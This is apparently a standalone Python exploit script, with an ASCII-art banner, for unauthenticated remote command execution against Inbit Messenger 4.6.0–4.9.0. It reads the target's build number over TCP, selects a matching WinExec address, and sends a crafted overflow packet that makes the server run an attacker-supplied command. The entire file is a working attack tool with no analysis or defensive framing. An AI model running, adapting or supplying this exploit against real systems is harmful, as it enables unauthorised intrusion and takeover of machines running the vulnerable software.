import sys, socket, struct, string, argparse, logging
BANNER = """\033[0m\033[1;35m
╔══════════════════════════════════════════════════════════════════════════╗
║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║
╚══════════════════════════════════════════════════════════════════════════╝\033[0m
by: \033[1;36m █████╗██████╗ ███████╗██╗ ██╗
\033[1;36m██╔══██╗ ██╔══██╗██╔════╝██║ ██║
\033[1;36m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝
\033[1;36m██╔══██║ ██╔══██╗██╔══╝ ██╔╝
\033[1;36m██║██║ ██║██║███████╗ ██║
\033[1;36m╚═╝╚═╝ ╚═╝╚═╝╚══════╝ ╚═╝
\033[0m"""
TARGETS = {
4601 : 0x005f3360,
4801 : 0x005f7364,
4901 : 0x005f7364,
}
CMD_MIN_LEN = 10
CMD_MAX_LEN = 0xfc64
BAD_BYTES = b"\x3e"
def getWinExecAddress(targetIp:str, targetPort:int) -> bytes:
pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00"
logging.info(f"trying to get version information from {targetIp}:{targetPort} ...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((targetIp, targetPort))
s.send(pkt)
_d = s.recv(1024)
if b'<c>' not in _d:
logging.error(f"invalid version packet received: {_d}")
sys.exit(-1)
s.close()
try:
build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')])
except:
logging.error(f"failed to parse build number from packet: {_d}")
sys.exit(-1)
if build not in TARGETS.keys():
logging.error(f"unexpected build number: {build}")
sys.exit(-1)
winexec = struct.pack("<I", TARGETS[build] - 0x38)
logging.success(f"target build number is {build}")
logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}")
for c in winexec:
if c in BAD_BYTES:
logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}")
sys.exit(-1)
return winexec
def exploit(targetIp:str, targetPort:int, command:bytes) -> None:
command += b"\x00"
if len(command) < CMD_MIN_LEN:
logging.error(f"command length must be at least {CMD_MIN_LEN} characters")
sys.exit(-1)
if len(command) >= CMD_MAX_LEN:
logging.error(f"command length must be less than {CMD_MAX_LEN} characters")
sys.exit(-1)
winexec = getWinExecAddress(targetIp, targetPort)
pktLen = str(len(command))
pkt= b"<"
pkt += pktLen.encode()
pkt += b"\x00"
pkt += (b"A" * (85 - (len(pktLen) - 2)))
pkt += winexec
pkt += b">"
pkt += command
logging.info(f"sending payload to {targetIp}:{targetPort} ...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((targetIp, targetPort))
s.send(pkt)
s.close()
logging.success("DONE")
if __name__ == '__main__':
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
parser.add_argument('-t', '--target',help='target IP',type=str, required=True)
parser.add_argument('-c', '--command', help='command to run', type=str, required=True)
parser.add_argument('-p', '--port',help='target port',type=int, required=False, default=10883)
args = parser.parse_args()
logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')
logging.SUCCESS = logging.CRITICAL + 1
logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')
logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
logging.addLevelName(logging.INFO,'\033[0m\033[1;36mINFO\033[0m')
logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
print(BANNER)
exploit(args.target, args.port, args.command.encode())